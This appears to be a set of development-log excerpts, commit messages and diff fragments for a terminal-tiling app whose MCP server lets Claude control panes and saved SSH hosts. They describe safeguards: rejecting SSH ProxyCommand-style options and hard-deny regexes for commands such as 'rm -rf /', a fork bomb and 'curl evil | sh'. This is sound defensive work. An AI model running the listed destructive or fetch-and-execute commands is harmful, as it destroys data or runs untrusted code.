hosts.json. Sanitiser must reject `ProxyCommand`, `LocalCommand`, `KnownHostsCommand`, `PermitLocalCommand=yes`, and any `-o` keys that take a shell command — those are local-RCE-at-ssh-invocation primitives (CVE-2023-51385 class). Probably also bundle `delete_host` for symmetry. Consider a third SSH safeguard switch ("Allow Claude to save new SSH hosts", default off) to gate the new tool the same way `allowOpenSsh` gates `connect_host`. ~3-4 hours total. +- **v2.1 — wire the `PolicyClassifier` hook.** Currently scaffolded as `NoopClassifier`; calls falling through to Ask could optionally be upgraded to Allow by a small LLM (Haiku via Anthropic API is the cheapest path; Ollama for local). Trade-offs: API key surface in settings, latency on Ask calls, predictability vs. fewer prompts. Defer until the prompt fatigue actually starts biting in daily use. +- **PowerShell hard-deny patterns.** Currently the 10 baked-in patterns are POSIX-only (rm -rf /, mkfs, etc.). PowerShell equivalents (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.) deserve the same circuit-breaker. Add when users actually run write_pane against PowerShell panes in anger. +- **Per-leaf-shellKind policy scoping.** Today `write_pane(*)` in the Allow bucket allows ALL write_pane calls, including SSH ones — which bypasses the SSH-extra warning modal. Want something like `write_pane(local)` and `write_pane(ssh)` discriminators so users can silent-allow locally while still asking on SSH. Schema design needed: extend the glob matcher with shellKind predicates, or just hard-code that the bare-tool-name allow rule never applies to SSH targets. Probably the latter for simplicity. +- **`.mcpb` bundle** for one-click Claude Desktop install — would package the `mcp-remote` shim invocation + bearer placeholder. Same scope it was in earlier sessions. +- **Audit-log persistence.** Currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight." Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Defer until requested. +- **Confirm-modal queue UX.** FIFO single-modal-at-a-time today. If Claude burst-fires many tool calls, the user serially clicks through them. Adding a "reject all pending" button is cheap if it ever annoys. +- **Module-level header in `mcp.rs` still calls out the 9-tool list** — keep this in sync if you add or rename tools. The MCP `with_instructions` text and the tool descriptions also need attention every time the surface changes (Claude reads both for routing decisions). + ### 2026-05-26 — MCP v2 PR-2: tree-shape writes (close, swap, promote, apply_preset) Commit `e0ce223`. Four more tools wired through the existing PR-1b dispatcher pipeline (`dispatch_action` → policy check → confirm modal → audit), all touching the layout tree but not PTYs or spawn. Mechanically the same shape as `set_label`: define args struct on backend, validate via `require_visible_leaf` (factored out — 5 tools now use it), dispatch with stable `args_repr`, frontend `runMcpHandler` case applies the mutation via the same setters the UI uses.

All 11 planned write tools live. add_host/delete_host let Claude mutate the saved-hosts list; both gated by a new allowAddHost switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5. add_host's extraArgs are sanitised against CVE-2023-51385-class local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand, PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL and -oKEY=VAL, case-insensitive on the key. The manual host manager UI stays unrestricted (user has full agency over their own hosts). Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test helper was missing the ssh_safeguards field added in PR-3.5, silently breaking the entire policy test module since then. Re-enabling those tests is the prereq for the hard-deny rework that follows in the next commit.

Gates both `add_host` and `delete_host` with the same `add-host-disabled` server-side error pattern as the existing `allowOpenSsh` gate. Bundled both tools under one switch for simplicity — `delete_host` is destructive but it's the natural symmetric companion to `add_host`. UI is a third checkbox in the SSH safeguards section; unlike `autoAllowSpawnedSsh`, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa). + +**Both tools are thin dispatcher wrappers**, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → `dispatch_action` with stable `args_repr` → frontend `runMcpHandler` case + `buildConfirmInfo` case. `add_host` runs `pty::validate_ssh_token` on hostname/user/jumpHost (made `pub` for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. `delete_host` looks the host up in `state.mirror.hosts` so Claude can't probe arbitrary ids, and relies on `save_ssh_hosts`' existing orphan-credential sweep to clean up the keyring entry. + +**Backend host_id is generated frontend-side** in the handler (via the same `newId()` helper HostManager uses → `crypto.randomUUID()` shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean. + +**Pre-existing bug fixed as a prerequisite:** `mcp_policy.rs`'s `policy_with` test helper was constructing `McpPolicy` without the `ssh_safeguards` field (added in PR-3.5). That made the entire `tests` mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added `ssh_safeguards: SshSafeguards::default()` as one-liner; tests should compile again. + +**Module headers + `with_instructions` updated** to call out the new 11-tool surface, `add_host`'s extraArgs sanitiser, and the `add-host-disabled` error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads `with_instructions` for routing decisions. + +Open follow-ups specific to this session: + +- **Verify on Windows.** PR-4 was authored in WSL; `pnpm check` is clean but Rust build/tests live on the Windows host. User to `cd D:\dev\tiletopia && cargo test -p tiletopia_lib` (or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix. +- **End-to-end test with Claude.** Suggested smoke: toggle the new `allowAddHost` switch on; ask Claude to `add_host` with hostname `example.com`, then `connect_host` to it (which still needs `allowOpenSsh`), then `delete_host`. With all three switches off, `add_host` should refuse cleanly with `add-host-disabled`. +- **Race in concurrent `add_host` calls.** Frontend reads `hosts` from the closure, builds `next = [...hosts, newHost]`, calls `setHosts(next)` (non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second's `next` drops the first. Pre-existing pattern (`saveHosts` in App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — but `Always allow add_host` users would race. Convert to `setHosts(prev => …)` + extract the saved snapshot if it ever bites. +- **Sanitiser scope expansions to consider:** `-F ` lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 — `add_host` doesn't expose a flag for it, and saved hosts are user-edited. +- **PowerShell hard-deny patterns** still POSIX-only (carried over from PR-3 list). +- **Per-leaf-shellKind policy scoping** still wanted (carried over). +- **CLAUDE.md still says Svelte 5** (still not fixed; called out in 4 session logs now). + ### 2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button Commits `bf2810a` (PR-3 + PR-3.5) and `6da7523` (polish bundle). 8 of 9 planned v2 tools are now live — only `add_host` (PR-4) remains. diff --git a/src-tauri/src/hosts.rs b/src-tauri/src/hosts.rs index edd149a..f7e2c6c 100644 --- a/src-tauri/src/hosts.rs +++ b/src-tauri/src/hosts.rs @@ -84,3 +84,208 @@ pub fn save(app: &AppHandle, hosts: &[SshHost]) -> Result<()> { std::fs::rename(&tmp, &path).context("rename hosts.json")?; Ok(()) } + +/// Reject `-o` options that would let an attacker turn an SSH connect into +/// local command execution.

The subcommand splitter was tearing apart patterns whose meaning needs their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell. Result was that 9 of the 10 advertised hard-deny rules quietly didn't enforce against their own canonical examples. Regex fixes: - Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`. - Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle the danger past detection. - Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most common form) was not previously caught because `ba?sh` required `b`. - Rule 9 anchor tightened: `/` must be followed by a path boundary, end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false- positives (still destructive, but a deliberate user scope choice). Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_ matched and hard_deny_git_grep_contains_pattern. The originals expected false-positives on echo'd / grep'd danger strings. The post-fix behaviour of NOT flagging these is correct UX: searching for or printing a danger string is not the same as invoking it. cargo test --lib: 118 passed; 0 failed.

Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting. + +This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass. + +**Regex fixes:** + +- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`). +- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed. +- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match. +- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system"). + +**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`.

Read at session start, update before session en ## Session log +### 2026-05-26 — Idle filter: suppress when `claude` is running in the distro + +The idle indicator used to fire 5s after any silence, regardless of what the pane was doing. While the user reads a long `claude` response the pane is silent (claude is processing or the human is reading) and the red border + titlebar "N idle" count is just noise. Fixed: WSL panes now probe the backend before flagging idle, and stay quiet if `claude` is running anywhere in the distro. + +**Granularity is per-distro, not per-pane.** Identifying which Windows pane corresponds to which Linux-side shell inside WSL is too complex (PIDs aren't visible from Windows; ProcMon-style probes are fragile). Agreed trade-off: if claude is running in distro X, ALL panes in distro X suppress. Over-suppression for multi-pane-same-distro users is fine — the previous always-notify bug was worse, and that user pattern is the minority. + +**Architecture:** + +1. New `src-tauri/src/probe.rs` module with `ProbeCache` — `parking_lot::Mutex>` keyed by distro name, 3s TTL. Sized against the frontend's 1s idle-tick: ~one `wsl.exe` call per distro per 3 ticks even with many panes polling, while reacting to "claude finished" within a few seconds. +2. Probe command runs `wsl.exe -d -- pgrep -x claude` via `quiet_command_pub` (new public alias of the existing `quiet_command` in pty.rs so cross-module callers don't re-implement the `CREATE_NO_WINDOW` dance). Exit 0 = match, exit 1 = no match, anything else = probe failure. +3. **Fail-safe is suppression.** Any probe error (wsl.exe missing, distro stopped, pgrep not installed) resolves to `true` → frontend suppresses the idle indicator. Matches the agreed trade-off: over-suppression beats false-positive notifications. +4. New Tauri command `is_watch_process_running(distro)`. Wrapped in `tokio::task::spawn_blocking` because the shell-out can take 100-300ms — keep it off the async runtime's thread pool. +5. `LeafPane.tsx` idle-detection effect rewritten: when the tick says "now idle", branch by `shellKind`. WSL → probe backend, suppress if true. PowerShell + SSH → skip the probe and fall back to legacy behaviour (PS has no portable `ps`; SSH processes live on a remote box; out of scope for v1). Includes `inFlight` guard so a slow probe doesn't stack with subsequent ticks, and a `cancelled` flag for the React-18-StrictMode cleanup pattern we always use here. + +**Watched list is currently hardcoded.** `DEFAULT_WATCH_PROCESSES: &[&str] = &["claude"]` in probe.rs. Comment marks the v2 follow-up: surface as a workspace-config field, key the cache by `(distro, sorted_list)` if it becomes per-pane, and validate user-supplied strings against `pgrep` shell-injection (no `-` prefix, no shell metachars). + +**Files touched:** + +- `src-tauri/src/probe.rs` — new module (~150 lines). +- `src-tauri/src/pty.rs` — `quiet_command_pub` exposed for cross-module use. +- `src-tauri/src/lib.rs` — register the module, the `ProbeCache` state, and the command in `invoke_handler`. +- `src-tauri/src/commands.rs` — `is_watch_process_running` Tauri command. +- `src/ipc.ts` — `isWatchProcessRunning` TS wrapper. +- `src/lib/layout/LeafPane.tsx` — idle-detection effect now branches on shellKind and gates WSL transitions through the probe. + +**Validated:** + +- `pnpm check` clean (0 errors). +- `pnpm test` clean (72 tree.ts tests pass — no UI tests yet, so the React-side change isn't covered automatically). +- Rust side authored in WSL; user to run `cargo build / cargo check -p tiletopia_lib` from Windows before merging. + +Open follow-ups specific to this session: + +- **`[[user-watch-list]]` config surface.** See open-questions section above. Probably 30 min of work: add `watchProcesses?: string[]` to workspace.json, validate per-name (no `-`, no shell metachars, length cap), thread through to a new `is_watch_process_running_for` command that takes the list, key the cache by `(distro, sorted_list_hash)`. +- **Probe latency-as-jitter.** First idle tick after 5s silence triggers a 100-300ms `wsl.exe` shell-out. The user sees the red border flicker on for ~one tick before the probe resolves and clears it. Not visually obvious in practice (the red is already a transient signal), but could pre-warm the cache on a slower interval if it bites. +- **PowerShell idle filter.** PS has no `ps` equivalent we can probe cheaply; closest is `Get-Process` + a watched-list mapping (`claude` doesn't exist on Windows, but `cargo`, `npm`, `python` do). Defer until someone actually runs a long-running CLI in PS and complains. +- **Workspace-edit migration of the `LeafPane.svelte` mention** in the open-question section about the 5000ms threshold — file says `.svelte` but we're React now.

Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.

New mechanism, per-pane via env-var marker:

1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID= as a Windows
   env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
   existing WSLENV) so the var forwards into the distro. Pane id is now
   reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
   a bash one-liner that pgreps for each watched name, then for each PID
   checks /proc//environ for the matching TILETOPIA_PANE_ID line.
   Env inheritance does the work: shell inherits from wsl.exe, claude
   inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
   instead of true (suppress). A transient error should never silence
   the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
   before spawn-completion pass 0, which won't match any real marker so
   the pane idles normally.

Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.

pnpm check clean. Rust validation: cargo test --lib on Windows.

 ## Session log
 
+### 2026-05-26 — Idle filter pivot: per-distro → per-pane (env-var marker)
+
+The per-distro probe shipped earlier today (see entry below) had the wrong granularity for tiletopia's actual use case. CLAUDE.md says the app is "built primarily to manage multiple `claude` sessions across projects in parallel" — i.e. multiple claude panes per distro is THE point. Per-distro suppression silenced every pane the moment one ran claude. Tested live: user saw all Ubuntu panes stop reporting idle because one pane (this session) was running claude.
+
+Fix: pivot to per-pane detection via env-var marker.
+
+**Mechanism:**
+
+1. `pty.rs` — every WSL spawn now sets `TILETOPIA_PANE_ID=` as a Windows-side env var on the `wsl.exe` invocation, plus `WSLENV=TILETOPIA_PANE_ID/u` (appended to any pre-existing WSLENV) so the var gets forwarded into the distro. Reserves the `id` BEFORE `build_command` instead of after (since the env tag needs to know the id at spawn time).
+2. `probe.rs` — rewritten. New shape: `is_watch_process_running(distro, pane_id)`. Runs a bash one-liner inside the distro that `pgrep -x `s for each watched process, then for each PID checks `/proc//environ` for an exact `TILETOPIA_PANE_ID=` line (using `tr '\0' '\n' | grep -qxF`). Inheritance does the work — claude inherits env from the shell, shell inherits from wsl.exe via WSLENV. Cache keyed by `(distro, pane_id)`.
+3. **Fail-safe inverted.** v1 returned `true` (suppress) on probe failure — meant a transient error silenced idle forever until the cache TTL turned over and re-failed. v2 returns `false` (don't suppress) — better to occasionally over-notify than permanently silence. Frontend `catch` also no longer flips to suppression.
+4. `commands.rs` + `ipc.ts` + `LeafPane.tsx` updated to thread `pane_id` through. LeafPane tracks the backend PaneId in a ref (`paneIdRef`), set by `onPaneSpawned`. Ticks before the spawn completes pass `0` — won't match any real pane's marker, so probe returns false and the pane idles normally.
+
+**Verification path** (user runs):
+
+```powershell
+# In one Ubuntu pane: launch claude. Wait 5s.
+#   Expect: red border does NOT appear (this pane has claude).
+# In another Ubuntu pane: do nothing. Wait 5s.
+#   Expect: red border DOES appear (this pane has no claude).
+# Exit claude in the first pane. Wait 5s.
+#   Expect: red border appears there too.
+```
+
+**Files touched:**
+
+- `src-tauri/src/pty.rs` — env tagging on WSL spawns (~25 lines).
+- `src-tauri/src/probe.rs` — rewritten (~150 lines, similar size).
+- `src-tauri/src/commands.rs` — sig change (1 extra arg).
+- `src/ipc.ts` — sig change + doc comment.
+- `src/lib/layout/LeafPane.tsx` — paneIdRef + pass to probe call + updated comments.
+
+**Validated:** `pnpm check` clean. Rust validation needs `cargo build / cargo test --lib` from Windows.
+
+Open follow-ups specific to this session:
+
+- **WSLENV escaping.** If a user has `WSLENV` already set with weird chars (spaces, semicolons, embedded `:`), the simple `format!("{existing}:TILETOPIA_PANE_ID/u")` may or may not behave as expected. Most users have no WSLENV set; if it becomes an issue, parse/validate before appending.
+- **Probe ergonomics on minimal distros.** New fail-safe is "no match" instead of "suppress", so a distro missing `pgrep` or `bash` (rare but possible for stripped Alpine etc.) just gets always-notify. Acceptable; document if anyone hits it.
+- **Tagging existing panes.** The env tag only applies to NEW spawns. Panes already running from before this change won't have the marker — they'll always show idle (since the probe won't find their TILETOPIA_PANE_ID). User needs to close + respawn each WSL pane once after deploying this fix. Worth mentioning in the upgrade note if we ever cut a release.
+
 ### 2026-05-26 — Idle filter: suppress when `claude` is running in the distro
 
 The idle indicator used to fire 5s after any silence, regardless of what the pane was doing. While the user reads a long `claude` response the pane is silent (claude is processing or the human is reading) and the red border + titlebar "N idle" count is just noise. Fixed: WSL panes now probe the backend before flagging idle, and stay quiet if `claude` is running anywhere in the distro.

+//!    pane N has `TILETOPIA_PANE_ID=N` in `/proc//environ`.
+//! 2. This probe runs `pgrep -x ` for each watched process, then for
+//!    each PID it returns reads `/proc//environ` (null-separated) and
+//!    checks for an exact `TILETOPIA_PANE_ID=` entry.
+//! 3. Cache keyed by `(distro, pane_id)`; ~3s TTL.
+//!
+//! PowerShell + SSH panes still skip the probe (frontend short-circuits).
